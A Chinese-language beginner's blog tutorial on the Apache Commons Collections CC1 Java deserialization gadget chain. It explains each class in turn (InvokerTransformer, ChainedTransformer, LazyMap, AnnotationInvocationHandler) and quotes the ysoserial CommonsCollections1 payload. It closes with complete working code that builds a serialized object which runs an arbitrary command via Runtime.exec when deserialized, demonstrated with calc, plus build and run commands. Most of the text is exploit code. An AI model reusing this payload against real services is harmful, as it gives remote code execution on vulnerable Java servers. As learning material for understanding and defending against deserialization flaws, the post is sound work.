前言
纯萌新,如有不当之处请各位师傅批评指正
本文旨在记录一下cc1的学习过程,尽可能使用通俗易懂的语言进行讲解,不很了解java语言的可以使用以下提示词
把这段代码当作我完全不会编程来解释:逐行说明每行代码做了什么、为什么这样做,以及整个程序的功能。用最通俗的语言,不要跳过任何基础概念,包括函数用法。
先了解cc链是什么
CC = Commons Collections。
"The Apache Commons Collections package contains types that extend and augment the Java Collections Framework." ------ 即扩展和增强 Java 集合框架的类型库,由 Apache 软件基金会维护。
CC1 指 Apache Commons Collections 库的第一个反序列化利用链,后续还有 CC2~CC7 等多个变种。
明确cc利用链的使用场景:攻击者只能发送一个序列化对象,让服务端反序列化。
一、基础机制类
1. java.lang.reflect.Method
介绍 :
Java 反射核心类,用于在运行时动态调用任意对象的任意方法。CC 链中几乎所有 Runtime.exec() 的调用都仰赖它------因为 Runtime 本身没有实现 Serializable,不能直接序列化,必须通过反射在 readObject 侧动态获取。
关键代码:
java
// 获取 Runtime 类
Class<?> clazz = Class.forName("java.lang.Runtime");
// 获取 exec 方法
Method execMethod = clazz.getMethod("exec", String.class);
// 静态调用(无 receiver)
Method getRuntimeMethod = clazz.getMethod("getRuntime");
Object runtime = getRuntimeMethod.invoke(null); // Runtime.getRuntime()
// 实例调用
execMethod.invoke(runtime, "calc.exe");
逻辑分析:
Method对象本身实现了Serializable(存的是方法签名,反序列化时通过签名重新解析)invoke接受两个参数:方法所属对象 + 参数数组- 对于静态方法,第一个参数传
null - 反射是 CC 链的底层基础设施 ------
InvokerTransformer内部封装的就是一次Method.invoke()(听不懂没关系,我们后面会再提到)
测试代码示例:
java
import java.lang.reflect.Method;
public class Test {
public static void main(String[] args) throws Exception {
Class<?> runtimeClass = Class.forName("java.lang.Runtime");
Method getRuntime = runtimeClass.getMethod("getRuntime");
Object runtime = getRuntime.invoke(null);
Method exec = runtimeClass.getMethod("exec", String.class);
exec.invoke(runtime, "calc.exe");
}
}
javac Test.java
java Test
二、核心Transformer类
1.ConstantTransformer
介绍 :
最简单的 Transformer 实现------transform() 方法永远返回构造函数中传入的常量 ,忽略输入参数。常用于 CC 链的第一个环节 ,用来给后续 InvokerTransformer 提供目标对象(如 Runtime.class)。
关键代码:
java
public class ConstantTransformer implements Transformer, Serializable {
private final Object iConstant;
public ConstantTransformer(Object constantToReturn) {
this.iConstant = constantToReturn;
}
public Object transform(Object input) {
return iConstant; // ← 无论 input 是什么,都返回固定值
}
}
逻辑分析:
- 在 CC 链中,第一个 transformer 通常是
ConstantTransformer(Runtime.class)------ 不管输入是什么,都返回Runtime.class对象 - 这个
Runtime.class会传给下一个InvokerTransformer("getMethod", ...),从而调用Class.getMethod("getRuntime")
2.InvokerTransformer
介绍 :
Transformer 接口的实现类,并重写了其接口类的 transform 方法。其 transform 方法作用是反射调用指定的方法并返回方法调用结果。
关键代码:
java
public class InvokerTransformer implements Transformer, Serializable {
private final String iMethodName;
private final Class<?>[] iParamTypes;
private final Object[] iArgs;
public InvokerTransformer(String methodName, Class<?>[] paramTypes, Object[] args) { //方法名、参数类型、参数
this.iMethodName = methodName;
this.iParamTypes = paramTypes;
this.iArgs = args;
}
public Object transform(Object input) {
if (input == null) return null;
Class<?> cls = input.getClass(); //拿类名
Method method = cls.getMethod(iMethodName, iParamTypes); //调用预先设置好的方法
return method.invoke(input, iArgs); // ← 反射调用
}
}
逻辑分析:
- 核心逻辑:
input.getClass().getMethod(iMethodName, iParamTypes).invoke(input, iArgs) - 通过
InvokerTransformer("exec", [String.class], ["calc"])→ 对 Runtime 实例调用exec("calc")
利用代码示例:
java
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
public class Test {
public static void main(String[] args) {
Transformer transformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
transformer.transform(Runtime.getRuntime());
}
}
需要下载commons-collections-3.2.2.jar放在目录下,不然会找不到所需类
javac -cp commons-collections-3.2.2.jar Test.java
java -cp .;commons-collections-3.2.2.jar Test
3.ChainedTransformer
介绍 :
将多个 Transformer 串联成一条执行链------transform(input) 会依次调用每个 Transformer,前一个的输出作为后一个的输入。
关键代码:
java
public class ChainedTransformer implements Transformer, Serializable {
private final Transformer<?, ?>[] iTransformers;
public ChainedTransformer(Transformer<?, ?>[] transformers) {
this.iTransformers = transformers;
}
public Object transform(Object object) {
for(int i = 0; i < this.iTransformers.length; ++i) {
object = this.iTransformers[i].transform(object);
} // ← 链式调用
return object;
}
}
利用代码示例 :
( 利用 ChainedTransformer 实现 Runtime.getRuntime().exec("calc") )
java
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;
public class Test {
public static void main(String[] args) {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc.exe"})
};
ChainedTransformer chain = new ChainedTransformer(transformers);
// 触发整个链
chain.transform("任意输入"); // → 打开计算器
}
}
javac -cp commons-collections-3.2.2.jar Test.java
java -cp .;commons-collections-3.2.2.jar Test
三、容器 / Map 触发类
1.LazyMap
用处很广泛据说。当一个 key 在 Map 中不存在 时,get(key) 会调用预设的 factory.transform(key) 来生成 value,然后将 key-value 放入 Map 并返回。
重要的是,其 get 方法会调用预先声明的类的transform方法,我们可以借此触发 ChainedTransformer 的 transform 方法。
LazyMap设计的初衷是,当你在请求一个Map中某个key的值的时候,如果key不存在,LazyMap可以自动创建一个值放到Map里再返回。省去 if (null) 判断,懒加载自动创建。就是个带默认值工厂的 Map。
Java
public class LazyMap extends AbstractMapDecorator {
protected final Transformer factory;
public static Map decorate(Map map, Transformer factory) {
return new LazyMap(map, factory);
}
public Object get(Object key) {
if (!map.containsKey(key)) { // ← key 不存在时触发
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}
}
逻辑分析:
- 触发条件简单:
lazyMap.get(anyNewKey)→factory.transform(anyNewKey)
利用代码示例:
java
public class Test {
public static void main(String[] args) {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc"})
};
Transformer chainedTransformer = new ChainedTransformer(transformers);
Map lazyMap = LazyMap.decorate(new HashMap(), chainedTransformer);
lazyMap.get("anything");
}
}
javac -cp commons-collections-3.2.2.jar Test.java
java -cp .;commons-collections-3.2.2.jar Test
四、触发入口(readObject 落地类)
1. AnnotationInvocationHandler
介绍 :
CC1 和 CC3 链的反序列化入口类。它实现了 InvocationHandler(这个后面会再提到,先记着有这么个东西) 和 Serializable,自定义了 readObject() 方法。当反序列化时,readObject() 会遍历 memberValues(一个 Map),沿途触发 TransformedMap.setValue() 或 LazyMap.get()。
设计初衷 :
把注解的成员变量存在一个 Map<String, Object> 里(memberValues),通过动态代理把 value() 等方法调用映射成 memberValues.get("value")。
CC 链劫持的是它的 readObject() 方法------这个方法会遍历 memberValues 这个 Map,而 CC 链把 memberValues 替换成了 TransformedMap 或 LazyMap,遍历操作就触发了命令执行。
关键代码:
java
class AnnotationInvocationHandler implements InvocationHandler, Serializable {
private final Class<? extends Annotation> type;
private final Map<String, Object> memberValues;
AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
this.type = type;
this.memberValues = memberValues; //memberValues=lazymap
}
// readObject 反序列化时自动执行(JDK ≤ 8u71),入口
private void readObject(ObjectInputStream s) throws IOException {
s.defaultReadObject();
// 遍历 memberValues 的 entrySet
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Object value = memberValue.getValue();
// 如果是 TransformedMap,这里会触发 setValue 的回调
// 或者是 LazyMap 的 Proxy 场景,触发 get()
}
}
//利用 invoke 方法可实现调用 LazyMap#get
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
String methodName = method.getName();
// 如果 memberValues 是 LazyMap
// LazyMap.get(methodName) → key 不存在 → 触发链
return memberValues.get(methodName);
}
}
cc1
测试环境:3.1-3.2.1 jdk版本小于u71
https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/
java
package ysoserial.payloads;
import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.Map;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.JavaVersion;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
/*
Gadget chain:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
Requires:
commons-collections
*/
@SuppressWarnings({"rawtypes", "unchecked"})
@PayloadTest ( precondition = "isApplicableJavaVersion")
@Dependencies({"commons-collections:commons-collections:3.1"})
@Authors({ Authors.FROHOFF })
public class CommonsCollections1 extends PayloadRunner implements ObjectPayload<InvocationHandler> {
public InvocationHandler getObject(final String command) throws Exception {
final String[] execArgs = new String[] { command };
// inert chain for setup
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(1) });
// real chain for after setup
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, execArgs),
new ConstantTransformer(1) };
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);
final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);
Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain
return handler;
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(CommonsCollections1.class, args);
}
public static boolean isApplicableJavaVersion() {
return JavaVersion.isAnnInvHUniversalMethodImpl();
}
}
完整调用链
ObjectInputStream.readObject()
→ AnnotationInvocationHandler.readObject()
→ Proxy.entrySet()
→ AnnotationInvocationHandler.invoke()
→ LazyMap.get()
→ ChainedTransformer.transform()
→ InvokerTransformer.transform()
→ Runtime.exec()
这里尝试一步步还原出cc1,加深理解
java
public class CommonsCollections1 {
public static void main(String[] args) throws Exception {
//1.构建Transformer链,这也是我们最终目标
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc"})
};
//2.放进ChainedTransformer
Transformer chainedTransformer = new ChainedTransformer(transformers);
//3.放进LazyMap
Map uselessMap = new HashMap();
Map lazyMap = LazyMap.decorate(uselessMap,chainedTransformer);
先实例化AnnotationInvocationHandler类,但是由于他在sun.reflect.annotation.AnnotationInvocationHandler里,不是public不能直接创建,我们需要反射调用
由于知道这个类的路径,我们可以使用Class.forName("类的路径")来拿到这个类
java
Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
拿到构造函数
java
Constructor<?> constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
允许调用私有构造方法
java
constructor.setAccessible(true);
然后我们创建对象并给他的构造方法传参
java
InvocationHandler handler = (InvocationHandler) constructor.newInstance(Override.class, lazyMap);
// 这个 innerHandler 的 memberValues = lazyMap
// 以后谁调 innerHandler.invoke(),里面就会调 lazyMap.get(方法名)
这里用newInstance方法调用构造方法,Override.class任意注释,lazyMap是AnnotationInvocationHandler类接收的第二个参数,也就是我们要用来触发get的目标(我们要触发lazyMap的get方法,看不懂就再回去看AnnotationInvocationHandler类介绍里的代码和注释)
然后我们就要创建要利用的代理对象(Proxy类的newProxyInstance方法可以实现:触发代理对象的任意方法,都会默认变成触发第三个参数的invoke方法,而我们要触发AnnotationInvocationHandler类的invoke方法,第三个参数就应该是AnnotationInvocationHandler类)
目标:让某个对象调用 entrySet() 时,变成调 lazyMap.get("entrySet")
学习下Proxy类的newProxyInstance方法
java
Proxy.newProxyInstance( 类加载器, 接口数组, 处理器 )
三个参数分别选择
-
LazyMap.class.getClassLoader()好像用任意类都可以 -
LazyMap.class.getInterfaces()拿到lazymap的全部接口(这个参数是用于告诉proxy代理对象要假装实现的方法)LazyMap 的声明是:
public class LazyMap extends AbstractMapDecorator implements Map, Serializable {
所以 LazyMap.class.getInterfaces() 返回的是:
[Map.class, Serializable.class]两个接口:
- Map.class → 代理对象假装是 Map,有 get(), entrySet() 等方法
- Serializable.class → 代理对象可以序列化
-
handler这里是指向了我们之前创建的AnnotationInvocationHandler类(这是第三个参数。Proxy 生成的假对象上,任何人调它的任何方法(包括AnnotationInvocationHandler中的entrySet(),这也是我们利用的关键),都不真的执行,而是转给 handler 里的 invoke 方法统一处理,而我们已经提前设置好memberValues = lazyMap,这样就成功调用了LazyMap的get()方法)
java
Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), LazyMap.class.getInterfaces(), handler);
然后就是创建一个新的 AnnotationInvocationHandler(名叫 handler1),把代理Map(mapProxy)传入,作用是触发上面的newProxyInstance
遍历 entrySet → 触发上面的 Proxy 拦截链
java
InvocationHandler handler1 = (InvocationHandler) constructor.newInstance(Override.class, mapProxy);
最后加上序列化代码
java
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(handler1);
oos.flush();
oos.close();
可以本地测试一下,只需要加上反序列化代码
java
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
ois.close();
最终代码
java
import java.lang.reflect.Constructor;
import java.lang.reflect.Proxy;
import java.io.ByteArrayOutputStream;
import java.io.ByteArrayInputStream;
import java.io.ObjectOutputStream;
import java.io.ObjectInputStream;
import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.Map;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
public class CommonsCollections1 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc"})
};
Transformer chainedTransformer = new ChainedTransformer(transformers);
Map uselessMap = new HashMap();
Map lazyMap = LazyMap.decorate(uselessMap,chainedTransformer);
Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(Override.class, lazyMap);
Map mapProxy = (Map) Proxy.newProxyInstance(
LazyMap.class.getClassLoader(),
LazyMap.class.getInterfaces(),
handler
);
InvocationHandler handler1 = (InvocationHandler) constructor.newInstance(Override.class, mapProxy);
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(handler1);
oos.flush();
oos.close();
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
ois.close();
}
}
本地验证的时候环境还又修改了一下
最终
set PATH=path\to\jdk1.7.0_80\bin;%PATH%
javac -cp commons-collections-3.1.jar CommonsCollections1.java
java -cp .;commons-collections-3.1.jar CommonsCollections1